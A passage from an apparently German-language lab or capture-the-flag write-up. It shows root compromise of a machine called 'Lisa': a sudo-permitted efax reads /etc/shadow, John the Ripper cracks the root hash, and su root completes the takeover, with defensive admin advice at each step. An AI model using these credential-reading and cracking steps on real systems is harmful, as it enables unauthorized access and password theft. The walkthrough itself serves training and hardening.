Analyse: Als Benutzer `leonardo` wird `sudo efax -d /etc/shadow` ausgeführt. `efax` ist ein Programm zum Senden/Empfangen von Faxen. Der Parameter `-d` wird hier wahrscheinlich missbraucht, um eine Datei anzugeben, die gelesen werden soll. Da `sudo` davor steht, wird der Befehl mit Root-Rechten ausgeführt (falls `leonardo` die entsprechende `sudo`-Berechtigung hat). Dies ermöglicht das Lesen der normalerweise geschützten `/etc/shadow`-Datei, die die Passwort-Hashes enthält. Anschließend wird `/etc/passwd` gelesen. Der `awk`/`tr`-Befehl scheint einen Versuch darzustellen, die `shadow.txt`-Datei zu bereinigen, möglicherweise um nur bestimmte Felder zu extrahieren oder Anführungszeichen zu entfernen, was aber syntaktisch fragwürdig ist ($6 in shadow ist normalerweise das letzte Änderungsdatum). `vi shadow.txt` deutet auf manuelle Nachbearbeitung hin.
Bewertung:** Kritisch. Der Benutzer `leonardo` hat `sudo`-Rechte, um `efax` auszuführen, und `efax` kann missbraucht werden, um beliebige Dateien als Root zu lesen. Dies ist eine klassische Privilege Escalation durch unsachgemäße `sudo`-Konfiguration. Der Angreifer hat nun Zugriff auf die Passwort-Hashes der Systembenutzer, einschließlich des Root-Benutzers.
Empfehlung (Pentester): Stellen Sie sicher, dass die `passwd.txt` und `shadow.txt` Dateien korrekt formatiert sind. Übertragen Sie beide Dateien auf das Angreifer-System, um sie mit `unshadow` und `john` (oder `hashcat`) zu knacken.
Empfehlung (Admin): Überprüfen Sie die `sudoers`-Datei (`visudo`). Gewähren Sie Benutzern nur die absolut notwendigen `sudo`-Berechtigungen. Programme wie `efax` sollten niemals via `sudo` privilegiert ausgeführt werden dürfen, wenn sie Dateileseoperationen ermöglichen. Prinzip des Least Privilege strikt anwenden.
[Keine Ausgabe]
Analyse: Auf dem Angreifer-System werden die zuvor vom Zielsystem `Lisa` heruntergeladenen Dateien `passwd.txt` (enthält Benutzernamen, UIDs etc.) und `shadow.txt` (enthält die Passwort-Hashes) mit dem Tool `unshadow` zusammengeführt. Das Ergebnis ist eine Datei (`passwords.txt`), die Benutzernamen und zugehörige Hashes in einem Format enthält, das von Passwort-Crackern wie `john` oder `hashcat` verstanden wird.
Bewertung:** Dies ist ein notwendiger Vorbereitungsschritt für das Offline-Passwort-Cracking. Die sensiblen Hash-Daten sind nun bereit, mit Wörterbuchattacken oder Brute-Force-Methoden angegriffen zu werden.
Empfehlung (Pentester): Verwenden Sie nun `john` oder `hashcat` mit einer starken Wortliste (wie `rockyou.txt`) und eventuell Regeln, um die Hashes in `passwords.txt` zu knacken. Konzentrieren Sie sich auf den Root-Hash.
Empfehlung (Admin): Verwenden Sie starke, komplexe Passwörter für alle Benutzer, insbesondere für Root. Erwägen Sie die Verwendung von langsameren Hashing-Algorithmen (z.B. `yescrypt` statt SHA512crypt), um das Offline-Cracking zu erschweren. Überwachen Sie das System auf das Exfiltrieren von `passwd`- und `shadow`-Dateien.
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 penMP threads
iloveme (root)
[... weitere Ausgabe, z.B. Session-Info ...]
Analyse: `John the Ripper` (`john`) wird verwendet, um die Passwort-Hashes in `passwords.txt` zu knacken. Die Option `--wordlist` gibt die zu verwendende Wörterbuchdatei an (`rockyou.txt`, eine sehr verbreitete Liste). John lädt die Hashes (hier 2 Stück mit unterschiedlichen Salts/Algorithmen), erkennt den Typ (SHA512crypt) und versucht, Passwörter aus der Wortliste zu hashen und mit den Ziel-Hashes zu vergleichen.
Bewertung:** Volltreffer! John hat erfolgreich das Passwort für den Benutzer `root` geknackt. Das Passwort lautet iloveme. Dies ist ein sehr schwaches Passwort und der letzte Schritt zur vollständigen Systemübernahme.
Empfehlung (Pentester): Verwenden Sie das gefundene Passwort, um sich als `root` auf dem Zielsystem anzumelden, entweder über `su` in der `leonardo`-Shell oder direkt via SSH, falls erlaubt.
Empfehlung (Admin): Erzwingen Sie starke Passwortrichtlinien. Verwenden Sie niemals schwache oder leicht zu erratende Passwörter, insbesondere nicht für den Root-Account. Führen Sie regelmäßige Passwort-Audits durch. Deaktivieren Sie den direkten Root-Login via SSH (`PermitRootLogin no` in `sshd_config`).
Contraseña:
root@Lisa:/home/leonardo#
Analyse: In der Shell des Benutzers `leonardo` wird der Befehl `su root` (Switch User to root) ausgeführt. Das System fragt nach dem Root-Passwort (`Contraseña:`). Der Pentester gibt das zuvor geknackte Passwort iloveme ein.
Bewertung:** Fantastisch! Der Root-Zugriff war erfolgreich! Der Prompt ändert sich zu `root@Lisa:...`, was bestätigt, dass der Angreifer nun vollständige Administratorrechte auf dem System hat. Das Ziel der Privilege Escalation ist erreicht.
Empfehlung (Pentester): Das Hauptziel ist erreicht. Suchen Sie nun nach den finalen Flags (üblicherweise `user.txt` und `root.txt`). Dokumentieren Sie den Weg und die gefundenen Schwachstellen.
Empfehlung (Admin): Alle zuvor genannten Sicherheitsempfehlungen umsetzen. Untersuchen Sie das System auf Spuren des Angreifers und eventuell installierte Backdoors oder Persistenzmechanismen. Ändern Sie sofort alle kompromittierten Passwörter, insbesondere das Root-Passwort.